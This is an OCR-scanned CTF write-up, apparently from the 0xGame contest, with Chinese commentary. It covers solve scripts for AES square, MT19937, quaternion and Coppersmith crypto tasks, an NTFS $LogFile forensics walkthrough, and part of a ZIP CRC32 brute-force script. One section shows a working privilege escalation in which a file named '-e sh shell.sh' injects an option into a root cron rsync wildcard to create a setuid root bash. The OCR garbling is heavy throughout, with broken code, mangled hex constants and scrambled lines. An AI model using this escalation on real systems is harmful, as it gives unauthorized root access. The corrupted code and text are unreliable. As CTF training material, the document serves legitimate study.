
12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

34

35

Ox51, Oxa3, 0x40, Ox8f,
0x10, Oxff, Oxf3, Oxd2,
Oxcd, 0Ox0c, Ox13, Oxec,
0x64, 0x5d, 0x19, Ox73,
Ox60, 0x81, Ox4f, Oxdc,
Oxde, Ox5e, 0x0b, Oxdb,
OxeO, Ox32, Ox3a, 0OxOa,
0x91, Ox95, Oxe4, 0Ox79,
Oxe7, Oxc8, 0x37, Ox6d,
Ox65, Ox7a, Oxae, Ox08,
Oxba, 0x78, 0x25, 0Ox2e,
Ox4b, 0Oxbd, 0x8b, 0x8a,
Ox70, Ox3e, Oxb5, Ox66,
0x86, Oxcl, Ox1ld, Ox9e,
Oxel, 0xf8, Ox98, Ox11,
Oxce, 0Ox55, 0x28, Oxdf,
Ox8c, Oxal, 0x89, Ox06d,
Oxb0O, 0x54, Oxbb, 0x16

)

InvSbox = (
0x52, Ox09, Ox6A, OxD5,
0x81, OxF3, OxD7, OXFB,
Ox7C, OxE3, O0x39, 0x82,
OxC4, OxDE, OxE9, OxCB,
0x54, Ox7B, O0x94, 0x32,
0x42, OxFA, 0xC3, Ox4E,
0x08, Ox2E, OxAl, 0Ox66,
ox6D, Ox8B, OxD1, Ox25,
Ox72, OxF8, OxF6, 0x64,
Ox5D, Ox65, OxB6, 0x92,
Ox6C, Ox70, Ox48, 0x50,
OxA7, Ox8D, Ox9D, Ox84,
0x90, OxD8, OxAB, 0x00,
OxB8, OxB3, 0x45, 0x06,
OxDO, 0x2C, Ox1E, Ox8F,
Ox01, Ox13, Ox8A, Ox6B,
Ox3A, 0x91, Ox11, 0Ox41,
OxFO, OxB4, OxE6, Ox73,
0x96, OxAC, Ox74, 0x22,
0x1C, Ox75, OxDF, Ox6E,
Ox47, OxF1l, Ox1A, OxT71,
OxAA, 0x18, OxBE, 0Ox1B,
OxFC, Ox56, Ox3E, Ox4B,
Ox78, OxCD, Ox5A, OxF4,
Ox1F, OxDD, OxA8, 0x33,
0x27, Ox80, OxXEC, Ox5F,

0x92,

Ox5f,

0x22,

0x49,

Ox8d,

Ox1c,

0x48,

0x69,

Oxbf,

0x30,

0x9B,

OXA6,

0x28,

0x86,

OXFD,

0x8C,

OXCA,

Ox4F,

OxE7,

0x1D,

0xC6,

0x88,

0x9d,

Ox97,

Ox2a,

0x06,

0xd5,

Oxab,

0x03,

oxd9,

Oxe6,

0x36,

Ox2F,

0xC2,

0xD9,

0x68,

OXED,

OxBC,

Ox3F,

Ox67,

OXAD,

0x29,

0xD2,

Ox07,

0x38,

0x44,

0x90,

0x24,

Ox4e,

Oxb4,

oxf6,

Ox8e,

0Ox42,

OXA5,

OXFF,

0x23,

0x24,

0x98,

0xB9,

0xD3,

OXOF,

OxDC,

0x35,

0xC5,

0x79,

OxCT7,

Oxf5,

0Ox17,

0x88,

Ox5c,

Oxa9,

Oxc6,

Ox0e,

Ox94,

0x68,

0x38,

Ox87,

0x3D,

0xB2,

0x16,

OxDA,

Ox0A,

0x02,

OXEA,

0x85,

0x89,

0x20,

0x31,

Oxbc,

Oxc4,

0Ox46,

Oxc2,

Ox6¢c,

Oxe8,

Ox61,

Ox9b,

Ox41,

OxBF,

0x34,

OXEE,

OXx76,

OxD4,

Ox5E,

OXF7,

OxC1,

0Ox97,

OXE2,

Ox6F,

OX9A,

OxB1,

Oxb6,

OxaT7,

Oxee,

Oxd3,

0x56,

Oxdd,

0x35,

Ox1le,

0x99,

0x40,

OX8E,

0x4C,

Ox5B,

OxA4,

0x15,

OxE4,

OXAF,

OxF2,

OxF9,

OxB7,

OxDB,

0x12,

Oxda, 0x21,

Ox7e, 0x3d,

Oxb8, 0x14,

Oxac, 0x62,

Oxf4, Oxea,

Ox74, Ox1f,

Ox57, 0xb9,

Ox87, 0Oxe9,

ox2d, oxef,

OxA3, OX9E,

0Ox43, 0Ox44,

0x95, 0Ox0B,

OxA2, 0x49,

0x5C, OxCC,

Ox46, Ox57,

0x58, 0x05,

0xBD, 0x03,

OXCF, OxCE,

Ox37, OxES8,

0x62, OXOE,

0xCO, OXFE,

0x10, 0x59,



36

37

38

39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79

Ox60, Ox51, Ox7F, OxA9, 0x19, O0xB5, Ox4A, OxOD, 0x2D,
0x93, OxC9, Ox9C, OxEF,

OxA0, OxEO, 0x3B, 0x4D, OxAE, Ox2A, OxF5, OxB0O, OxCS8,
0x83, 0x53, 0x99, 0Ox61,

Ox17, Ox2B, Ox04, Ox7E, OxBA, O0x77, OxD6, 0x26, OxE1l,
0x55, 0x21, 0x0C, OX7D,

)
Rcon = (

Ox01, 0Ox02, Ox04, Ox08, O0x10, 0x20, O0x40, Ox80, 0Oxlb,
)

def inv_shift_rows(s):
a = list(s)
all], a[5], a[9], a[13] = a[13], a[l], a[5], a[9]
a[2], a[6], a[l1l0], a[14] a[l0], a[14], a[2], a[6]
al3], a[7], a[ll], a[1l5] al7], a[1l1], a[15], a[3]
return bytes(a)

def inv_sub_bytes(s):

return bytes(InvSbox[x] for x in s)

def xor(a, b):
return bytes([x Ay for x, y in zip(a, b)])

c4_set = []

def get_round_key_4(get_enc):
global c4_set
predict_round_key_4 = [[] for _ in range(16)]

m=1 << (15 x 8)

for i in range(0x100):
c4 = get_enc(hex(i * m)[2:].zfill1(32))
c4_set.append(c4)

for key_index 7n range(16):
for key in range(0x100):
round_key = [0 for _ in range(16)]
round_key[key_index] = key
round_key = bytes(round_key)

c3_set = []

for c4 in c4_set:
c3 = xor(c4, round_key)
c3 = dinv_shift_rows(c3)
c3 = 1inv_sub_bytes(c3)

OxE5, Ox7A, Ox9F,

OXEB, OxBB, 0x3C,

Ox69, 0x14, Ox63,

0x36



80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96

97

98

99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114

115
116
117
118
119
120
121
122
123
124

c3_set.append(c3)
t =20
for i in range(0x100):
t M= c3_set[i][(key_index + 4 x (key_index % 4)) % 16]
if t ==
predict_round_key_4[key_index] += [key]
print(f"key index: {key_index:2d}, probable key: {hex(key)}")

return predict_round_key_4

def key_from_round_key(key_list, n=4):

round_keys = [[] for _ in range(n + 1)]
round_keys[-1] = key_list
for i in range(n - 1, -1, -1):
new_key = [0 for _ in range(16)]
for j in range(3, 0, -1):
new_key[j * 4:(j + 1) x 4] = [x My for x, y in zip(round_keys[i +

11[3 * 4:(3 + 1) * 4], round_keys[i + 1J[(j - 1) * 4:j * 4])]

tmp = new_key[-4:]

tmp = tmp[l:] + tmp[:1]

tmp = bytes([Sbox[b] for b in tmp])

tmp = bytes([tmp[0@] A Rcon[i]]) + tmp[1l:]

new_key[:4] = [x Ay for x, y in zip(round_keys[i + 1][:4], tmp)]
round_keys[i] = new_key

return bytes(round_keys[0])

def square_attack(get_enc):

from itertools 7mport product
round_key_4 = get_round_key_4(get_enc)
for i 7n product(xround_key_4):
key = key_from_round_key (bytes(i))
AES (key, 4)
for j in range(0x100):
m= 1 << (15 * 8)
if aes.encrypt(bytes.fromhex(hex(j * m)[2:].zfill(32))) !=

aes

c4_set[j]:

if

break
else:
print("[+] key found")
break

return key

__hame__ =="__main__":

from pwn import *

def get_enc(plaintext: str):



125 jo.recvuntil(b"Choice: ")

126 jo.sendline(b"E")
127 io.recvuntil(b"Plaintext (hex): ")
128 jo.sendline(plaintext.encode())
129 jo.recvuntil(b"Ciphertext (hex): ")
130 ciphertext = 1do.recvline().strip()
131 return bytes.fromhex(ciphertext.decode())
132
133 # context(log_level="debug')
134 # 10 = process(["python", "./AES Square/task.py"])
135 io = remote("ncl.ctfplus.cn", 41605)
136
137 key = square_attack(get_enc)
138 print(key)
139 jo.recvuntil(b'"Choice: ")
140 io.sendline(b"G'")
141 jo.recvuntil(b"Encrypted Flag (hex): ")
142 ciphertext = bytes.fromhex(io.recvline().strip().decode())
143 print(ciphertext.hex())
144 cipher = AES(key, rounds=4)
145 print(cipher.decrypt(ciphertext))
146
MT19937

EXBEXEhttps://seandictionary.top/mt19937/

AREGIR

1 __+dmport__('os').environ['TERM'] = 'xterm'
2

3 from pwn import *

4 from random 7mport Random

5 from tqdm 7import trange

6

7 # context(log_level = 'debug')

8

9 R B e e S S

10

11 def construct_a_row(RNG) :

12 row = []

13 for _ 1n range(19968//2):

14 bits = RNG.getrandbits(2)

15 row += Llist(map(int, bin(bits)[2:].zfill(2)))
16 return row

=
~


https://seandictionary.top/mt19937/

18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53

54
55
56
57
58
59
60
61
62
63

T =

(]

for i 7n trange(19968):

T =

io

state = [0]*624
temp = "O"*xi + "1"x1 + "O"%(19968-1-1)
for j in range(624):

state[j] = int(temp[32%]j:32%j+32], 2)

RNG = Random()
RNG.setstate((3,tuple(state+[624]),None))
T.append(construct_a_row(RNG))

Matrix(GF(2),T)

process(['python', 'task.py'])

output = []
for i 7n range(19968//2):

B =

jo.sendlineafter(b'>> ', b'G")
output += [int(io.recvline().strip())]

[int(j) for i 7n output for j 7n bin(i)[2:].zfill(2)]

assert len(b) == 19968

B = vector(GF(2),b)
s = T.solve_left(B)
state = []

for i in range(624):

def

def

30)

def

def

state.append(int("".join(list(map(str,s)))[32*1:32%i+32],2))

_int32(x):
return int (OXFFFFFFFF & x)

_re_init_by_array_part(index, mt, multiplier):
return _int32((mt[index] + dindex) A" (mt[index - 1] AA mt[index - 1] >>
* multiplier)

_init_genrand(seed, mt):
mt[0] = seed
for i in range(l, 624):
mt[i] = _int32(1812433253 % (mt[i - 1] AA mt[i - 1] >> 30) + 1)

re_init_by_array(mt):
tmp = [_re_init_by_array_part(i, mt[:-1], 1566083941) for i in [622, 623]]

original_mt = [0] * 624



64 _init_genrand (19650218, original_mt)

65

66 predict_seed = _int32(tmp[-1] - _int32((tmp[-2] A" (tmp[-2] >> 30)) *
1664525 AN ordginal_mt[-1]))

67 return predict_seed

68

69 mt = state+[624]

70 seed = re_init_by_array(mt)

71 print(seed)

T2

73 do.sendlineafter(b'>> ', b'C")

74 do.sendlineafter(b'Guess the seed: ', str(seed).encode())

75

76  do.interactive()

Quaternion
JordantrAEL

eze

1 from Crypto.Util.number import *
p =
1253986561384310591123385688827067615377054609538152798472459235957554677776797
7150390387506665349509251937298897654702160935929421300160106185683395163421

4 public =
"122798534772830085533576574927897632550388701063019161032376557711072408556390
19740311384654049683518074767532668306533768786610265460170996795820601321909
!
1121049311746258484669522525140130930662023532315031704518971091714953861305157
20491775237902323618623097375538755272654806320121634449545925957073532015931
+
4504305501102205111707063553468531275193613420926689267602542732160114787644450
31538810577279916498307130264816119062480395788963919822889673835039577697] +
3174124676656013174258111656715518261932447407587587373745001204373630194465607
583875038303157271540416614763810219408013310091241179227844814818997567768k"

5 enc =

"'226546237876160043053214540010191209456308470812829261002235782042790020207651
8621271341061446425878932435592087810301613872104317791934633397153003692733 +
1178216955785734233627196704162941668356119122395221985502773981852285939118766
63510786824232182103726626692301793703231541388020866435433871025218111291721

+
1090816227694500864892636107215577204490258497939423536510214179291401215813825
6920012734972335441493996292123708617034711883958615075943172083534030307874]

+



1054028696031543810611445506085585650215686138728150753514096927801140751625983
9611632861445654470081837664230792371993219647065751349771625197786828909473K"

a =
1227985347728300855335765749278976325503887010630191610323765577110724085563901
9740311384654049683518074767532668306533768786610265460170996795820601321909

8 b=
1121049311746258484669522525140130930662023532315031704518971091714953861305157
2049177523790232361862309737553875527265480632012163444954592595707353201593

S c =
4504305501102205111707063553468531275193613420926689267602542732160114787644450
31538810577279916498307130264816119062480395788963919822889673835039577697

10 d =
3174124676656013174258111656715518261932447407587587373745001204373630194465607
583875038303157271540416614763810219408013310091241179227844814818997567768

11

12 def 1init(strs):

13 a, b, ¢, d = [int(i[:-1]) 7f i[-1] in 'ijk' else int(i) for i 1in
strs.split(' + ")]

14 return Matrix(GF(p), [

15 (a, -b, -c, -d],

16 [b, a, -d, cl,

17 [c, d, a, -b],

18 [d, -c, b, a]

19 1)

20

21 = init(public)

22 B = dinit(enc)

23 J, P = A.jordan_form(transformation=True)
24 BB = P.inverse() *x B x P

25 tmp = BB[®, 1]/BB[O, 0]xJ[0, 0]

26  print(long_to_bytes(int(tmp)))

XEE
fEREC-LCG (EphLRLL BN ERERL23) R T —12025bitAFEHEL, FMFHEMFLIART4X
r._rand550()

R1100fIFZEM N EEWBETRY _rand550 () REE, HEMEZEARLEER x vy BRAIFEN
GASEFTERS

BFSHERN (B urandom(7) >FiBid 2%) , FItEBITERS R ZTcoppersmithEl T

(BXx%7tcoppersmithBEFRHEBRITIRER, ME—EXEECoppersmithtA BRI AE, TiER
= Z IR RKHMNER/ME(small roots)E)



INBE: XN ZItCoppersmithfy small_roots JIFREMLEES Lwpsi—m

RZWT, EHHIFRATexp

ARG ER

1 __dmport__('os').environ['TERM'] = 'xterm'

2

3  from pwn import *

4  from sage.all import *

5 dmport itertools

6

7 def small_roots(f, bounds, m=1, d=None):

8 if not d:

9 d = f.degree()

10

11 = f.base_ring()

12 = R.cardinality()

13

14 f /= f.coefficients().pop(0)

15 f = f.change_ring(Z2)

16

17 G = Sequence([], f.parent())

18 for i in range(m + 1):

19 base = N *x (m - i) * f %% 1

20 for shifts in dtertools.product(range(d), repeat=f.nvariables()):
21 g = base * prod(map(power, f.variables(), shifts))
22 G.append(g)

23

24 B, monomials = G.coefficient_matrix()

25 monomials = vector (monomials)

26

27 factors = [monomial(xbounds) for monomial in monomials]
28 for i, factor 1in enumerate(factors):

29 B.rescale_col(i, factor)
30
31 B = B.dense_matrix().LLL()
32
33 B = B.change_ring(QQ)
34 for i, factor 1in enumerate(factors):
35 B.rescale_col(i, 1 / factor)
36
37 H = Sequence([], f.parent().change_ring(QQ))
38 for h in filter(None, B * monomials):
39 H.append (h)



40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58

59

60

61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83

I = H.ideal()
if I.dimension() == -1:
H.pop ()
elif I.dimension() ==
roots = []
for root in I.variety(ring=ZZ):
root = tuple(R(root[var]) for var in f.variables())
roots.append(root)
return roots

return []

io = remote('ncl.ctfplus.cn',15557)
# 70 = remote('127.0.0.1',1721)
# 10 = process(['python', 'task.py'])

# Curve parameters

p =
76884956397045344220809746629001649093037950200943055203735601445031516197751
a =
56698187605326110043627228396178346077120614539475214109386828188763884139993
b =
17577232497321838841075697789794520262950426058923084567046852300633325438902
E = EllipticCurve(Zmod(p),[a,b])

jo.recvuntil(b'number:")

n = int(io.recvline().strip().decode())

# 2025 invokes getrandbits 4 times, 'former' three of which are not truncated

2*%%x550 - 1
n® = n & mask
nl = (n > 550) & mask

mask

def extract_xy(num):
bt = int(num).to_bytes(70)
x = int.from_bytes(xor(bt[:35],b" ")[3:],'little")
y = int.from_bytes(xor(bt[35:],b" ")[3:],'little")
return x,y

def force(xh,yh):

P = PolynomialRing(GF(p) ,names="'dx,dy")
dx,dy = P._first_ngens(2)

x = xh + dx

y = yh + dy

f = x*x*x3 + axx + b - y*x*x2



85 _X,_y = small_roots(f, (2%*36,2%x%36),2) [0]
86 return xh+_x,yh+_y
87
88 x0,y0 = force(xextract_xy(no))
89 x1l,yl = force(*extract_xy(nl))
90
91 PO = E(x0,y0)
92 P1 = E(x1,yl)
93 dif = P1 - PO
94 cur = PO
95
96 while True:
97 sc = int.to_bytes(int(cur.xy()[0]),32)
98 if sc.startswith(b'OxGGGGame#'):
99 jo.sendlineafter(b'code:',sc[:24])
100 jo.interactive()
101 break
102 cur —= dif
103
104
&Rl

Hibiscus.
X B AES-Square(Integrals) Revenge

S ZFRAES SquareARNR, EARBENFTHIE256BytefViAx, B2 WEHNEEEHEEN,
A BB BRFIRE 2N RAREmME

RZHT, BEEREHFAABNBlogHlgithubtFE, 73IHEFEfMexp
Blog:
https://crystaljiang232.github.io/crypto/aesatk/4-1 (AES Square)
https://crystaljiang232.github.io/crypto/aesatk/4-2 (Revenge)
GitHub:
https://github.com/CrystalJiang232/AES-Integrals
Hrehbuildiy =" executablefaes4-17] LIFTEBRIAES Square, aesd-2¥TRevenge, BIAREFRZH
RETEREADMEE
PythonigExecutable A EHAA X R LR EREX FHERIFFEA subprocess
Note: ZEAfEAPythoniBiIEILEI1T, BIIHSIFEIFEFREN (HFAARZHT) , BINERACH


https://crystaljiang232.github.io/crypto/aesatk/4-1
https://crystaljiang232.github.io/crypto/aesatk/4-1
https://crystaljiang232.github.io/crypto/aesatk/4-2
https://github.com/CrystalJiang232/AES-Integrals

Misc

NTFSTR ezMi
TAEZESLogFileHERD M, LHhintEEEB T

Case View Tools

M weekd - Autopsy 4.22.1
Window Help

HER, BRE

€[>

=& Data Sources
BE OxGame3.vhd_1 Host

=2} OxGame3.hd

= File Views

File Types
¥ Deleted Files
MB File Size

-~ B Data Artifacts
C\ Analysis Results
=g OS Accounts
£ Tags

vol1 (Unallocated: 0-33)

vol4 (Microsoft reserved partition: 34-65569)
vol5 (Unallocated: 65570-65663)

= vol6 (Basic data partition: 65664-405631)

v $OrphanFiles (0)

.. $Extend (8)

/. $RECYCLEBIN (3)

V. $Unalloc (1)

.~ images (11)

vol7 (Unallocated: 405632-409599)

O

ol Add Data Source Images/Videos " Communications Geolocation = Timeline Discovery [, Generate Report =g, Close Case
| | 7Y — s 3

Listing

img_0xGame3.vhd/vol_vol6

Table Thumbnail

4 Name
$AttrDef
$BadClus
$BadClus:$Bad
$Bitmap
$Boot
$Extend
$LogFile
$MFT
$SMFTMirr

- $OrphanfFiles

S C (o]

n

Modified Time

2025-08-19 22:53:11
2025-08-19 22:53:11
2025-08-19 22:53:11
2025-08-19 22:53:11
2025-08-19 22:53:11
2025-08-19 22:53:11

2NIC N0 10 37.05.11

. $RECYCLE.BIN ———
$Secure:$SDS
W $Unalloc
Hex Text File Metadat
Strings Extracted Text
Page: 1 of 1 Page Matchey

RSTR
NTFS
RSTR
NTFS

2 AlogfileparserS H—L MBI M4, XEWH #ik

https://github.com/jschicht/LogFileParser

View File in Timeline...

View Item in New Window 1

Open in External Viewer Ctrl+E

Extract File(s)

Export Selected Rows to CSV

Add File Tag

Remove File Tag

Add/Edit Central Repository Comment

Add File to Hash Set

Properties

&> S

Bl



https://github.com/jschicht/LogFileParser

r
&) NTFS $LogFile Parser 2.0.0.53 — X

$L°§Fi1e F:"u,u:tf_u:h:allr:n;;r:"u,[l:{'i}:amr:"u,wr:r:lnLL"u,lTTFS-'fE;»‘:1U§|j"u,$Lu:ugFi1»‘: Select $LogFile

Fragment gy oy getting Fragment Select fragment
MFT: Dutput of latest mft2esy (optional) Get MFT csv
Timestamp |5 y | Precisi 911131105“ » | () split e Precision )
armat S — " ramavatar’ —
Set decoded timestamps to specific |1|TC 0.00 V| Precision
vﬁ"' LU eﬁ“ﬁvﬁ+ﬁv9 - —
glme55aT? 0000-00-00 00:00:00 2012-08-07 23:41:16. 4389560 [ Jskip Fixups
Set o [ 1%7C [ JUnicodel |Reconstruct data s [ |Rebuild headers {in = [ |Broken $LogF1l
Sectors per 8 MFT record 1024 LSN error 0.1 % (up/down)

Alnctar — cira’ Tawal -

[()Source is from 32-bit 05 [ JExtract non + resident updates of 2

LSK = to‘trigger verbose output (comma | Start |
canavatal”

Error getting Fragment:

$LogFile processing finished in 1 b
Imperting ecsv' = to db and updating tables,
Csv import and table updates took O 3.

Done!

Decoding $LogFile data and writing to csv

Processing LogFile page 512 of 512
Elapsed time = 1 I

HADIR

yolo@yolo:~/Desktop/timu$ sqlite3 ntfs.db

SQLite version 3.45.1 2024-01-30 16:01:20

Enter ".help" for usage hints.

sqlite> .tables

IndexEntries LogFile

sqlite> .schema LogFile

CREATE TABLE LogFile (Llf_Offset TEXT,lf_MFTReference INTEGER,lf_MftHdr_Seq
INTEGER, Lf_MftHdr_Lsn INTEGER,lf_MftHdr_Flags TEXT,Llf_RealMFTReference
INTEGER, Lf_MFTBaseRecRef INTEGER,Llf_LSN INTEGER,lf_LSNPrevious

INTEGER, 1f_RedoOperation TEXT,lf_UndoOperation TEXT,Llf_OffsetInMft

INTEGER, Lf_FileName TEXT,lf_CurrentAttribute TEXT,lf_TextInformation

TEXT, 1f_UsnJrlFileName TEXT,lf_UsnJrlMFTReference

INTEGER, Lf_UsnJrIMFTParentReference INTEGER,lf_UsnJrlTimestamp
TEXT,1f_UsnJrlReason TEXT,1f_UsnJrnlUsn INTEGER,1f_SI_CTime TEXT,1f_SI_ATime
TEXT,Lf_SI_MTime TEXT,Llf_SI_RTime TEXT,Llf_SI_FilePermission
TEXT,1f_SI_MaxVersions INTEGER,L1f_SI_VersionNumber INTEGER,1f_SI_ClassID
INTEGER,1f_SI_SecurityID INTEGER,lf_SI_QuotaCharged INTEGER,1f_SI_USN
INTEGER,1f_SI_PartialValue TEXT,lf_FN_CTime TEXT,lf_FN_ATime TEXT,Llf_FN_MTime
TEXT, Lf_FN_RTime TEXT,Llf_FN_AllocSize INTEGER,Llf_FN_RealSize

~N~ o o0 WN R



INTEGER, lf_FN_Flags TEXT,lf_FN_Namespace TEXT,lf_DT_StartVCN
INTEGER,1f_DT_LastVCN INTEGER,1f_DT_ComprUnitSize INTEGER,lf_DT_AllocSize
INTEGER, lf_DT_RealSize INTEGER,1f_DT_InitStreamSize INTEGER,1f_DT_DataRuns
TEXT,1f_DT_Name TEXT,lf_FileNameModified INTEGER,1f_RedoChunkSize
INTEGER, 1f_UndoChunkSize INTEGER,lf_client_index INTEGER,lf_record_type
INTEGER, lf_transaction_id INTEGER,1lf_flags INTEGER,lf_target_attribute
INTEGER, 1f_lcns_to_follow INTEGER,1f_attribute_offset
INTEGER, 1f_MftClusterIndex INTEGER,1f_target_vcn INTEGER,1f_target_lcn
INTEGER,InOpenAttributeTable INTEGER,FromRcrdSlack
INTEGER,IncompleteTransaction INTEGER)

8 sqlite>

Fsqlite373 7 & HRHIntfs.db

(ASEEZS

1 SELECT 1f_UsnJrlTimestamp, lf_UsnJrlReason, 1lf_FileName FROM LogFile WHERE
1f_UsnJrlReason LIKE '%RENAME%' ORDER BY 1f_LSN;

hint2E it B X EREXHFR TN

€ Ubuntu-24.04

sqlite> SELECT L1f_UsnJrlTimestamp, Lf_UsnJrlReason, Lf_FileName FROM LogFile WHERE 1f_UsnJrlReason LIKE '%RENAME
%' ORDER BY 1f_LSN;

2025-08-19 :56:00.7173007 | RENAME_OLD_NAME | 13643046854681979. txt
2025-08-19 14: . 7173007 | RENAME_NEW_NAME | I5hX15Qq9r 1jnACj . dat
2025-08-19 14: 7173007 |RENAME_NEW_NAME+CLOSE | I5hX15Qq9r13nACj.dat
2025-08-19 8 . 7179496 | RENAME_OLD_NAME | 6426765720352224837 . txt
2025-08-19 14: . 7179496 | RENAME_NEW_NAME | LFJzwmC7D1AIbG6k . dat
2025-08-19 8 . 7179496 | RENAME_NEW_NAME+CLOSE | LFJzwmC7D1AIbG6k.dat
2025-08-19 8 . 7179496 | RENAME_NEW_NAME+CLOSE | LFJzwmC7D1AIbG6k.dat
2025-08-19 8 . 7179835 | RENAME_OLD_NAME | 6876554908428166514. txt
2025-08-19 8 . 7179835 | RENAME_OLD_NAME | 6876554908428166514. txt
2025-08-19 14: . 7179835 |RENAME_NEW_NAME [ NtgCBPatTo2TFYML .dat
2025-08-19 14: . 7179835 |RENAME_NEW_NAME | NtgCBPatTo2TFYML .dat
2025-08-19 14: . 7179835 |RENAME_NEW_NAME+CLOSE |NtgCBPatTo2TFYML.dat
2025-08-19 8 . 7179835 |RENAME_NEW_NAME+CLOSE |NtgCBPatTo2TFYML.dat
2025-08-19 8 . 7185646 | RENAME_OLD_NAME | 28539333146592819. txt
2025-08-19 8 . 7185646 | RENAME_OLD_NAME | 28539333146592819. txt
2025-08-19 8 . 7185646 | RENAME_NEW_NAME | GS1XKOPWYXXC5ATI .dat
2025-08-19 g . 7185646 | RENAME_NEW_NAME | GS1XKOPWYXXC5ATI .dat
2025-08-19 14: .7185646 | RENAME_NEW_NAME+CLOSE | GS1XKOPWYXXC5ATI . dat
2025-08-19 g . 7185646 | RENAME_NEW_NAME+CLOSE | GSXKoPWYXXC5ATI.dat
2025-08-19 8 .7331661|RENAME_OLD_NAME | 555819389. txt

2025-08-19 14: .7331661 | RENAME_OLD_NAME | 555819389. txt

2025-08-19 8 .7331661 | RENAME_NEW_NAME | uz2nVxrvHcIIXhoC.dat
2025-08-19 8 .7331661|RENAME_NEW_NAME | uz2nVxrvHcIIXhoC.dat
2025-08-19 :56:04.7331661 | RENAME_NEW_NAME+CLOSE | uz2nVxrvHcIIXhoC.dat
2025-08-19 H . 7331661 | RENAME_NEW_NAME+CLOSE |uz2nVxrvHcIIXhoC.dat
sqlite>

ETIRNIZEHEEY, RHEAFHTHFAET, Epythond, A4 num.to_bytesFiERIE T

(ANEES

1 def num_to_string(num):

2 num_bytes=(num.bit_length()+7)//8

3 byte_data=num.to_bytes(num_bytes, 'big")

4 return byte_data.decode('utf-8',errors="1ignore')



5 numbers=[
6 13643046854681979,
7 6426765720352224837,
8 6876554908428166514,
9 28539333146592819,
10 555819389
11 ]
12 flag_parts=[num_to_string(n) for n in numbers]
13 flag='"'.join(flag_parts)
14  print(f"{flag}i")
15 frien
16 OxGame{YOu_H@VE_nnAsTered_NTF3!!!}
17 o
ezHack

FZAT— 1B, BRNERD IR T
MBENES, BEITrsyncBal 7T — MRS XHNES

ctf@dep-1f3le3dc-af66-4648-afbh6-1b7bad80dc22-69cd6d55bf-trghl:~$ 1s -1la

root 4096 Oct
root 4096 Oct
root 102 Mar
root 122 Oct
root 201 Jun

8 14:08 .

8 14:08 ..

2 2023 .placeholder

8 13:08 ctf_backup_job
6 17:12 e2scrub_all

ctf@dep-1f3le3dc-af66-4648-afb6-1b7bad80dc22-69cd6d55bf-trghl:~$ cat

* x * x * root /bin/sh -c "cd /home/ctf && rsync -t *.txt OxGame:/tmp/backup/"

ARG ER
1
/etc/cron.d
2  total 20
3 drwxr-xr-x 1 root
4 drwxr-xr-x 1 root
5 -rw-r——-r—— 1 root
6 -rw-r—--r—— 1 root
7 -rw-r——r—— 1 root
8
/etc/cron.d/ctf_backup_job
9
10

# congratulations!,this is key to be king!

B R XX R Fhigroot, EArsyncEN-elhEE, BEEERITRSGS

(ASZEZS

1

2

echo -e '#!/bin/bash\ncp /bin/bash /home/ctf/rootbash\nchmod u+s
/home/ctf/rootbash' > shell.sh

touch —— '-e sh shell.sh

FHR4, HBNE&RIMEREZHI Trootbash

Ltxt!



EIR

ctf@edep-1lcf5lecf-457b-422d-823d-9¢c8104b746b6-5ffc77b68c-rff4g:~$ 1s -la
total 1272

-rw-r

drwxr-xr-x 1 ctf ctf 4096 Oct 16 13:04

drwxr-xr-x 1 root root 4096 Oct 8 13:29

-rw

-rw-r

—rw-r

O 00 N O U » W N

-rw-r
10 —rw-r
11 -rwsr-xr-x 1 root root 1265648 Oct 16 13:13 rootbash
12 -rw-r

BRAEEEFA-plEEFREAFidZA8E# Aroot shell

EIIR

ctf@dep-1lcf5lecf-457b-422d-823d-9¢c8104b746b6-5ffc77b68c-rff4g:~$ ./rootbash -p
rootbash-5.2

uid=1000(ctf) gid=1000(ctf) euid=0(root) groups=1000(ctf)

rootbash-5.2

root

rootbash-5.2

flag.txt

rootbash-5.2

OxGame{Game_over_you_@re_gonna_Be_the_champ_of_CTFers!!!}

O 0o N o U M W N

FFEIME2.0

ATEBRT r MREAENRRS T, BESUASHEISENME, SFHBEMHIRIT SRR T
X, EFREMARMTEXWE, AEHEDI agT, AARRZASHTENSNE, BEEA
REENET, ABNMEBEAcrcRERSE, BEARIBXAENTE cre32 pyRBERS Ml
FA—%ET

(ASEEZS

import zipfile
import argparse
import itertools
import subprocess
import re

import zlib

~N~ oo 0 A W N R

import os


https://github.com/theonlypwner/crc32/blob/main/crc32.py

10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

46
47
48
49
50
51
52
53

from tqdm import tqdm

def bytes_to_hex_or_str(content: bytes) -> str:

B TRV AIRM F AT R a7 & hl F T o
SNSREEAERD A AIFTENRY UTF-8 FHf& (BHEH) , MEREZFHEH;
SN (BN #ERBESSERFR) , REEA+7EFIRT.

try:

# 1. =ulEMH UTF-8 M5
decoded_str = content.decode('utf-8")

if decoded_str.isprintable():
return f"'{decoded_str}'"

else:
# 3. WREELHFT, WAZBE/FIBIEE, B+ NHE
return content.hex()

except UnicodeDecodeError:

# 4. BEEIKIN (A HFIEHE) , BEZNE#E

return content.hex()

except Exception:

def ext

# 5. BRthEE (Z<iEl)
return content.hex()

ract_targets(zip_filename: str) -> list:

it ZIP X, IREFRIENEXHER. "
targets = []

pri

nt(f"[+x] EEDHEEE: {zip_filename}")

try:

"crc":

with zipfile.ZipFile(zip_filename, 'r') as zf:
for info in zf.infolist():
# WMEBELINE (flag_bits & 0x1) HIEFT
if info.flag_bits & 0x1 and info.file_size > 0:
targets.append ({
"filename": dinfo.filename, "size": info.file_size,
info.CRC
H

def sort_key(target):
# SN S PRI FHE7, WRLEH K/ E
match = re.search(r'(\d+)', target['filename'])
if match:
return (int(match.group(l)), target['filename'])
return (float('inf'), target['filename'])



54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73

74
75
76

7
78
79
80
81
82
83
84

85
86
87
88
89
90
91
92
93
94
95
96
97

def

JEK . .

total=256**length, desc=f"

targets.sort(key=sort_key)
